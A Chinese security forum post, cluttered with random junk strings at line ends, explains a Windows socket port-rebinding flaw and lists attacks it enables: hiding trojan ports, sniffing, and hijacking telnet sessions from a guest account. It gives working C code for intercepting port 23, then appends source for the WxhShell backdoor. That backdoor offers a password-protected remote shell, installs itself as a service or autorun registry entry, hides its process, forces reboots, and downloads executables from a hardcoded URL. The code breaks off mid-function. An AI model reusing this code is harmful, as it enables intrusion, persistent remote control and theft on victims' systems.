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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: u7=`u/  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); YLVIn_\}  
*)gbKXb  
  saddr.sin_family = AF_INET; p~Fc *g[!  
xL3-(K6e  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ycg5S rg  
ow,I|A  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); h2# G  
\{ r%.G  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #eD@s En  
 )`!i"  
  这意味着什么?意味着可以进行如下的攻击: y m<3  
HFu#-}iNV  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ^vS+xq|4"  
D4g$x'  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) IGeXj%e  
NRe{0U}nO  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 )mT{w9u  
2 1.;lj  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  y#!8S{  
J+r\EN^9  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3qR%Mf'  
4:GVZR|-  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 QCIH1\`jW  
%e.tAl"!$  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 "a %5on  
k\8]fh)J\7  
  #include $-H#M] Gq  
  #include vY&[=2=  
  #include 78&jaw*1A  
  #include    }SIUsh'  
  DWORD WINAPI ClientThread(LPVOID lpParam);   h W\q  
  int main() @iWql*K;m  
  { H(GWC[tv  
  WORD wVersionRequested; 4 ,"%  
  DWORD ret; Lgw!S~0  
  WSADATA wsaData; ^"WrE(3  
  BOOL val; d%FD =wm  
  SOCKADDR_IN saddr; Pb 4%" 9`  
  SOCKADDR_IN scaddr; dY'/\dJ  
  int err; ,_?P[~1  
  SOCKET s; {gT2G*Ed^Z  
  SOCKET sc; ^iAOz-H  
  int caddsize; pT\>kqmj  
  HANDLE mt; }wJ-*By{+  
  DWORD tid;   'yd<<BM`  
  wVersionRequested = MAKEWORD( 2, 2 ); D|lp3\`%  
  err = WSAStartup( wVersionRequested, &wsaData ); T{-<G13  
  if ( err != 0 ) { kXK D>."E*  
  printf("error!WSAStartup failed!\n"); qT7E"|.$  
  return -1; [(Ss^?AJW  
  } W'WZ@!!  
  saddr.sin_family = AF_INET; ^t,sehpR:l  
   ANh7`AUuO  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 wPdp!h7B~N  
I/:M~ b  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,$BbJQ5  
  saddr.sin_port = htons(23); O}5mDx  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {}!`v%z  
  { &Jw]3U5J  
  printf("error!socket failed!\n"); -8H0f- 1  
  return -1; (`<X9w,  
  } f'._{"  
  val = TRUE; QS.t_5<U  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 "l0z?u  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) j_ i/h "  
  { faH113nc  
  printf("error!setsockopt failed!\n"); r/E'#5 Q  
  return -1; qk!")t  
  }  d(!W  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; SKO*x^"eU  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #;,dk(URo  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :=9?XzCC  
^UTQcm  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) JtA tG%  
  { P?D;BAP2  
  ret=GetLastError(); Hq=5/N  
  printf("error!bind failed!\n"); Ch;C\H:X  
  return -1; 8Ac5K!  
  } 9,8}4Y=GVI  
  listen(s,2); n HiE$Y  
  while(1) $}kT )+K  
  { Z#w@ /!"}T  
  caddsize = sizeof(scaddr); 0G@sj7)]  
  //接受连接请求 h2M>4c  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !##OQ  
  if(sc!=INVALID_SOCKET) 7&-i :2  
  { Ps=OL\i  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); B"sQ\gb%Q  
  if(mt==NULL) 7\ELr 5  
  { DPIIE2X  
  printf("Thread Creat Failed!\n"); .[YM0dt  
  break; .KH3.v/c|  
  } P")duv  
  } Wc] L43u  
  CloseHandle(mt); lxsBXXZg  
  } mFoE2?Y  
  closesocket(s); =^  
  WSACleanup(); c~j")o  
  return 0; !\D[lh}rL  
  }   ;oL`fQyr  
  DWORD WINAPI ClientThread(LPVOID lpParam)  0Bbno9Yp  
  { 6%N.'wf  
  SOCKET ss = (SOCKET)lpParam; Lckb*/jV&  
  SOCKET sc; 6R_G{AWLL  
  unsigned char buf[4096]; cO}`PD$i  
  SOCKADDR_IN saddr; 7Uy49cs,  
  long num; `rt?n|*QF  
  DWORD val; Hqsj5j2i  
  DWORD ret; 9em?2'ysa  
  //如果是隐藏端口应用的话,可以在此处加一些判断 y"5>O|`  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   c*iZ6j"iI  
  saddr.sin_family = AF_INET; w,uyN  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @0js=3!2  
  saddr.sin_port = htons(23); 19V  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H\W/;Nn  
  { 9UF^h{X  
  printf("error!socket failed!\n"); %=C49(/K_  
  return -1; 0A$x'pU)  
  } k.UQT^.  
  val = 100; @JFfyQ {-  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~cHpA;x9<^  
  { ;fg8,(SM^  
  ret = GetLastError(); zT _  
  return -1; BT[jD}?  
  } <~wr;"S  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5!GL"  
  { 7;]n+QRfm  
  ret = GetLastError(); i{1SUx+Re  
  return -1; T&@xgj|!)  
  } WKjE^u  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) PWU8 9YXp  
  { Rn] `_[)*~  
  printf("error!socket connect failed!\n"); Na6z1&wS  
  closesocket(sc); <K6:"  
  closesocket(ss); Q[5j5vry  
  return -1; TV^m1uC  
  } h%2;B;p]  
  while(1) A}./ ;[  
  { f9R~RRz  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 |ATz<"q>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 WX2:c,%:  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ey icMy`7{  
  num = recv(ss,buf,4096,0); ?ks3K-.4  
  if(num>0) #2&DDy)B f  
  send(sc,buf,num,0); M}jF-z  
  else if(num==0) RXo!K iQO  
  break; a?635*9K  
  num = recv(sc,buf,4096,0); fV}:eEo|Y  
  if(num>0) 1Z. D3@  
  send(ss,buf,num,0); 4$HU=]b6Tf  
  else if(num==0) ~3 ,>TV  
  break; .TI =3*`G  
  } ):LgZ4h  
  closesocket(ss); v$H=~m  
  closesocket(sc); >%x N?%  
  return 0 ; fMGL1VN  
  } /&PRw<}>_o  
1=R6||8ws  
CJn{tP  
========================================================== M|HW$8V3_2  
*<.{sx^Gk  
下边附上一个代码,,WXhSHELL C2$_Ad=s  
y,D@[*~Xb  
========================================================== +0{$J\s  
]VuB2L[D  
#include "stdafx.h" O/Q7{5n  
wNNInS6  
#include <stdio.h> Q~p)@[q  
#include <string.h> 25:[VH$:4  
#include <windows.h> G[;GP0\N  
#include <winsock2.h> x%J4A+kU  
#include <winsvc.h> tBJCfM  
#include <urlmon.h> c/K:`XP~  
Mp%.o}j   
#pragma comment (lib, "Ws2_32.lib") p }p@])}8  
#pragma comment (lib, "urlmon.lib") :>y?B!=  
r4X0. mPY*  
#define MAX_USER   100 // 最大客户端连接数 nTG@=C#  
#define BUF_SOCK   200 // sock buffer 2 %`~DVo  
#define KEY_BUFF   255 // 输入 buffer q:}Q5gzZ  
:TPT]q d@  
#define REBOOT     0   // 重启 j@7%%   
#define SHUTDOWN   1   // 关机 q?&Ap*  
&oU) ,H  
#define DEF_PORT   5000 // 监听端口 B^;G3+}  
XBvJc'(s  
#define REG_LEN     16   // 注册表键长度 ]npsclvJ  
#define SVC_LEN     80   // NT服务名长度 .dbZ;`s  
%S'gDCwq  
// 从dll定义API 0@O:C::  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >g{ w,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b8QQS#q)V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7? 1[sPM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); As5*)o"&  
||xiKg  
// wxhshell配置信息 C[4{\3\Va  
struct WSCFG { SC Qr/Q  
  int ws_port;         // 监听端口 ){D6E9  
  char ws_passstr[REG_LEN]; // 口令 JY5)^<.d  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~!t#M2Sk  
  char ws_regname[REG_LEN]; // 注册表键名 E~4d6~s  
  char ws_svcname[REG_LEN]; // 服务名 RWX?B  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3Ygt!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4V6^@   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 '<$!?="  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vO?\u`vY  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }|KNw*h $  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @zQ.d{  
d ynq)lf  
}; g-4m.;  
yA+ NRWWj  
// default Wxhshell configuration 88]4 GVi  
struct WSCFG wscfg={DEF_PORT, ekR/X  
    "xuhuanlingzhe", r bfIH":  
    1, cs-wqxTX[$  
    "Wxhshell", 6I<^wS9j_  
    "Wxhshell", 3 |se]~  
            "WxhShell Service", |H .  
    "Wrsky Windows CmdShell Service", 6d# 7  
    "Please Input Your Password: ", =ws iC'  
  1, Zy J-}[z  
  "http://www.wrsky.com/wxhshell.exe", _l,_NV&T  
  "Wxhshell.exe" dcn/|"jr  
    }; Y<ZaW{%  
g"KH~bN  
// 消息定义模块 +o ;}*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; pHftz-RS!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7NFRCCXHQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X2[d15!9  
char *msg_ws_ext="\n\rExit."; -ff@W m  
char *msg_ws_end="\n\rQuit."; ><HHO (74X  
char *msg_ws_boot="\n\rReboot..."; )j_Y9`R  
char *msg_ws_poff="\n\rShutdown..."; [& d"Z2gK  
char *msg_ws_down="\n\rSave to "; ,E._A(Z  
\>G:mMk/  
char *msg_ws_err="\n\rErr!"; 0#/NZO  
char *msg_ws_ok="\n\rOK!"; \]Nt-3|`0  
E!s?amM4  
char ExeFile[MAX_PATH]; R(1N]>  
int nUser = 0; q r<+@Q  
HANDLE handles[MAX_USER]; ~43T$^<w;  
int OsIsNt; `[(.Q  
.='hYe.  
SERVICE_STATUS       serviceStatus; dlf nhf  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _rN1(=J  
<N~&Leh  
// 函数声明 iVUkM3  
int Install(void); n N_Ylw  
int Uninstall(void); -50 Nd=1  
int DownloadFile(char *sURL, SOCKET wsh); fZ6-ap,u  
int Boot(int flag); ,q".d =6  
void HideProc(void); eoGGWW@[  
int GetOsVer(void); yGs:3KI  
int Wxhshell(SOCKET wsl); jE#&u DfI  
void TalkWithClient(void *cs); Y CBcyE}p  
int CmdShell(SOCKET sock); bT8 ?(Iu  
int StartFromService(void); \'>8 (i~  
int StartWxhshell(LPSTR lpCmdLine); 6?(Z f  
PF+SHT'4}#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (p1}i::Y8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b\.l!vn0  
8o7%qWX  
// 数据结构和表定义 +\ZaVi  
SERVICE_TABLE_ENTRY DispatchTable[] = P.t0o~hoK;  
{ o-ee3j.  
{wscfg.ws_svcname, NTServiceMain}, hgU#2`fS  
{NULL, NULL} !xRboPg  
}; U#mrbW  
2@jlF!zC  
// 自我安装 Y@#rGV>  
int Install(void) >39\u &)  
{ JA]qAr  
  char svExeFile[MAX_PATH]; wRCv?D`vV  
  HKEY key; M~O$ ,dof  
  strcpy(svExeFile,ExeFile); ? 3t]9z  
5;:964Et  
// 如果是win9x系统,修改注册表设为自启动 G,-x+e"  
if(!OsIsNt) {  TNj WZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x9qoS)@CM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $%Kyz\;7/  
  RegCloseKey(key); h+ggrwg'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }~bx==SF6!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U8]BhJr$Q  
  RegCloseKey(key); %gbvX^E?  
  return 0; Od?b(bE.]  
    } CY?19Ak-xd  
  } L>X39R~  
} p(6!7t:  
else { An2Wj  
6?uo6 I  
// 如果是NT以上系统,安装为系统服务 lD]/Kx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <], ~V\m  
if (schSCManager!=0) bmd3fJb`r  
{ |Ev V S  
  SC_HANDLE schService = CreateService J69B1Yi  
  ( rE5q BEh  
  schSCManager, 6d#:v"^,  
  wscfg.ws_svcname, [ }1+=Ub  
  wscfg.ws_svcdisp, %{j)w{ L J  
  SERVICE_ALL_ACCESS, '>aj5tZ>R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wS%j!|xhlV  
  SERVICE_AUTO_START, M?3#XQDvD  
  SERVICE_ERROR_NORMAL, 7eP3pg#  
  svExeFile, JXNfE,_  
  NULL,  #-^y9B  
  NULL, l6y*SW5+  
  NULL, Uoqt  
  NULL, =e!o  
  NULL  o8h1  
  ); /q\{OsrX  
  if (schService!=0) iO2%$Jw9\  
  { /t;Kn m  
  CloseServiceHandle(schService); >"%}x{|  
  CloseServiceHandle(schSCManager); w.0:#4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Z^l!#"\4m  
  strcat(svExeFile,wscfg.ws_svcname); 863PVce",}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Hp1n*0%dZ&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I7@g,~s  
  RegCloseKey(key); kM o7mkV  
  return 0; meM61ue_2  
    } KU5|~1t 4  
  } )m4O7'2G  
  CloseServiceHandle(schSCManager); o?]g  
} \4FKZ>1+R  
} mq!_/3  
Tu9[byfrI  
return 1; lRr={ >s  
} YLAGTH0.]  
]$xN`O4W{  
// 自我卸载 P+s-{vv{0  
int Uninstall(void) qR>"r"Fq  
{ f83Tl~  
  HKEY key; 0X: :<N@  
Vt;!FZ  
if(!OsIsNt) { $=rLs)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HLp9_Y{X.  
  RegDeleteValue(key,wscfg.ws_regname); /4_^'RB  
  RegCloseKey(key);  %J?"ZSh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tiHP? N U  
  RegDeleteValue(key,wscfg.ws_regname); D$$,T.'u  
  RegCloseKey(key); -'wFaW0%I  
  return 0; (;1Pgh  
  } H6! <y-  
} iTpU4Qsj  
} <&Q(I+^  
else { Ljq!\D  
P3u,)P&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1~_&XNb&  
if (schSCManager!=0) w=K!U]  
{ c=Y8R/G<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); szG0?e  
  if (schService!=0) *LZ^0c:r  
  { vi-mn)L6#  
  if(DeleteService(schService)!=0) { %I>-_el  
  CloseServiceHandle(schService); =3= $F%  
  CloseServiceHandle(schSCManager); ;xMieqz  
  return 0; ),#hBB`ZA  
  } -|\SNbPTV  
  CloseServiceHandle(schService); *M^t@hl  
  } \Tii S  
  CloseServiceHandle(schSCManager); 4Bc<  
} B6hd*f  
} n>-"\cjV  
&:MfLD J  
return 1; $4Ko  
} I'$}n$UvZ  
Mq [|w2.  
// 从指定url下载文件 `E4OgO  
int DownloadFile(char *sURL, SOCKET wsh) qZ79IX'y  
{ F')fi0=  
  HRESULT hr; oY$L  
char seps[]= "/"; "2FI3M =  
char *token; 8ta`sNy9  
char *file; sKU?"|G81G  
char myURL[MAX_PATH]; MG6y  
char myFILE[MAX_PATH]; 1E'/!|  
3Q-[)Z )  
strcpy(myURL,sURL); 28rC>*+z  
  token=strtok(myURL,seps); |DZ3=eWZ  
  while(token!=NULL) .o!z:[IPY  
  { F A#?+kd  
    file=token; Pu-/*Fx  
  token=strtok(NULL,seps); Er]lObfQo  
  } {?zbrgQ<Z  
!`VC4o  
GetCurrentDirectory(MAX_PATH,myFILE); -jJw wOm  
strcat(myFILE, "\\"); m?$peRn3{  
strcat(myFILE, file); vxrRkOU1  
  send(wsh,myFILE,strlen(myFILE),0); oF9c>^s  
send(wsh,"...",3,0);  #Lq{_Y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^%<t^sE  
  if(hr==S_OK) !"e~HZmr  
return 0; }[%d=NY  
else ])YGeY(V0+  
return 1; YEB@p.  
vKCgtk  
} !R/- |Kjy  
lxvRF93a.  
// 系统电源模块 yavoGk  
int Boot(int flag) 5?()o}VjAO  
{ 3-T}8VsiP  
  HANDLE hToken; 9*lkx#  
  TOKEN_PRIVILEGES tkp; 5_}e?T&s  
on=I*?+R  
  if(OsIsNt) { 01P ~K|s  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); AHA4{Zu[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M zbs#v0  
    tkp.PrivilegeCount = 1; &D[pX|!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dU4G!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D" 4*&  
if(flag==REBOOT) { %^C.e*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V;V,G+0Re  
  return 0; OSsxO(;g  
} aYyUe>  
else { '\iWp?`$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5v uB87`  
  return 0; qXQ/M]  
} k;?Oi?]  
  } +[sZE X  
  else { @/ m|T]'8  
if(flag==REBOOT) { ctzaqsr  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H"g$qSx  
  return 0; <e :2DB&  
} nvdo|5  
else { ?<#2raH-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (DW[#2\.  
  return 0; ZSu0e%  
} xq2 ,S  
} ca!=D $  
XazKS4(  
return 1; q~K KN /N  
} =c>w  
BRx`83CK  
// win9x进程隐藏模块 J f,)Y>EI  
void HideProc(void) 08!pLE  
{ )38M~/ ^l  
us^2Oplq<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N{f4-i~  
  if ( hKernel != NULL ) t`XY Y  
  { nnZ|oEF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); VTQxg5P c  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); y@L-qO+{&  
    FreeLibrary(hKernel); 8jnz;;|  
  } d/57;6I_  
c<8RRYs  
return; JBsHr%!i  
} "1U:qr2-H  
':v@Pr|  
// 获取操作系统版本 G\?q{  
int GetOsVer(void) ZN:~etd  
{ ET&Q}UOE  
  OSVERSIONINFO winfo; Pkm3&sW  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H9^DlIv('  
  GetVersionEx(&winfo); 2A+I8/zRG  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *1Lkde@|{  
  return 1; f8DF>]WW  
  else RtR5ij1  
  return 0; 3xJ_%AD\'  
} ?Q< o-o;B  
CS:mO |  
// 客户端句柄模块 l&z)Q/>?pZ  
int Wxhshell(SOCKET wsl) E,#J\)'z  
{ `+!GoXI  
  SOCKET wsh; M=}vDw]Q  
  struct sockaddr_in client; `W8A *  
  DWORD myID; qGE?[\t[6  
)7e[o8O_6  
  while(nUser<MAX_USER) H nRd  
{ 0wmz2zKV  
  int nSize=sizeof(client); bIP'(B#1K  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ZjE!? '(ef  
  if(wsh==INVALID_SOCKET) return 1; I.<>6ISI@  
0#}@- e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X:*Ut3"  
if(handles[nUser]==0) u= |hRTD=  
  closesocket(wsh); }<EA)se"  
else s ^/<6kwO  
  nUser++; y<G@7?   
  } rsp?N{e  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2EeWcTBU}.  
QPi]5z?  
  return 0; :(,Eq?  
} i6^COr  
w/KCu W<  
// 关闭 socket {5f? y\Z  
void CloseIt(SOCKET wsh) #Fua^]n  
{ }NMkL l]J  
closesocket(wsh); y s5b34JN  
nUser--; B}.G(-u?7  
ExitThread(0); rmCrP(  
} f3 lKdXnP  
;P-xKRU!Xx  
// 客户端请求句柄 yK +&1U2`  
void TalkWithClient(void *cs) yTDlDOmV!  
{ V}l >p?  
U20G{%%  
  SOCKET wsh=(SOCKET)cs; M'=27!D^  
  char pwd[SVC_LEN]; *3hqz<p4:  
  char cmd[KEY_BUFF]; 3f`+ -&|M  
char chr[1]; UGy~Ecv  
int i,j; vG'JMzAm  
g+ik`q(ge  
  while (nUser < MAX_USER) { y[*Bw)F\N  
!O=J8;oLk  
if(wscfg.ws_passstr) { Wmp,,H  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FDB^JH9d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5Pis0fa  
  //ZeroMemory(pwd,KEY_BUFF); ]_S&8F}|  
      i=0; =o5ZcC  
  while(i<SVC_LEN) { -Bqn^ E  
`}s$cgEG  
  // 设置超时 aDx{Q&  
  fd_set FdRead; zMT0ToG  
  struct timeval TimeOut; @`N)`u85[  
  FD_ZERO(&FdRead); T4`.rnzyRb  
  FD_SET(wsh,&FdRead); mAk@Q|u  
  TimeOut.tv_sec=8; .1u"16_  
  TimeOut.tv_usec=0; %y~=+Sm%m  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Kq|L: Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); GM6Y`iU  
a*d>WN.;U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &v+8RY^F=  
  pwd=chr[0]; eu(1bAfS&T  
  if(chr[0]==0xd || chr[0]==0xa) { mbBd3y  
  pwd=0; %3ecV$  
  break; 8>TDrpT}  
  } & p 1Et  
  i++; X[:&p|g]  
    } $cri"G  
}>cQ}6n.  
  // 如果是非法用户,关闭 socket sKhX0,s&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .(tga&]  
} S1pikwB  
7E$ e1=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P`HE3?r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DWep5$>&K  
.~0A*a  
while(1) { (( 0%>HJ{~  
xp%,@] p  
  ZeroMemory(cmd,KEY_BUFF); %+iJpRK)7  
sgDlT=c'  
      // 自动支持客户端 telnet标准   )TxAhaz+  
  j=0; ~Dw.3P:-  
  while(j<KEY_BUFF) { CUB=T]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M3j_sd'N  
  cmd[j]=chr[0]; Nhv~f0  
  if(chr[0]==0xa || chr[0]==0xd) { zE +)oQ,  
  cmd[j]=0; Ij hC@5qk  
  break; DCv~^  
  } 3&kHAXzM  
  j++; y; Up@.IG  
    } *5iNw_&  
C6=7zYhR  
  // 下载文件 dm1W C:b  
  if(strstr(cmd,"http://")) { Vkdchc  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~xqRCf{8  
  if(DownloadFile(cmd,wsh)) le?hCPHkp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); xI}h{AF7  
  else n%I%O7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i{w<4E3  
  }  KTd,^h  
  else { yZbO{PMr  
<U=:N~L  
    switch(cmd[0]) { N=&~3k  
  Dh0`t@  
  // 帮助 az~4sx$+}  
  case '?': { XM$r,}B k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k 41lw^Jh  
    break; vW`{BWd  
  } [1@ -F+  
  // 安装 `#hdb=3  
  case 'i': { yw`xK2(C$  
    if(Install()) |HXI4 MU"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X62h7?'Pd  
    else 'u$e2^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s4bLL  
    break; T_O\L[]p*  
    } MV5'&" ,oB  
  // 卸载 s{#ZRmc2B  
  case 'r': { |:n4t6  
    if(Uninstall()) FA ?xp1E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w+bQpIP M  
    else 8 M3Q8&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3Xaw  
    break; _B)LRD+Hj  
    } I~EQuQ>=  
  // 显示 wxhshell 所在路径 jQOY\1SR  
  case 'p': { ` /JJ\`Pu  
    char svExeFile[MAX_PATH]; mmm025.   
    strcpy(svExeFile,"\n\r"); T<06y3sN  
      strcat(svExeFile,ExeFile); ,x}p1EZ  
        send(wsh,svExeFile,strlen(svExeFile),0); w@7NoD=  
    break; IC>OxYg*  
    } k.>*!l0  
  // 重启 `6`NuZ*6g  
  case 'b': { ~?8B~l^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^Humy DD6  
    if(Boot(REBOOT)) P& C,EE$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E^_P  
    else { x]lv:m\)jT  
    closesocket(wsh); w1EYXe  
    ExitThread(0); S P)$K=  
    } =1fO"|L  
    break; g<O*4 ]=  
    } 0f/=C9L  
  // 关机 ,/{mRw%  
  case 'd': { a? K=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )s(J8J[b*L  
    if(Boot(SHUTDOWN)) ,Khhu%$  
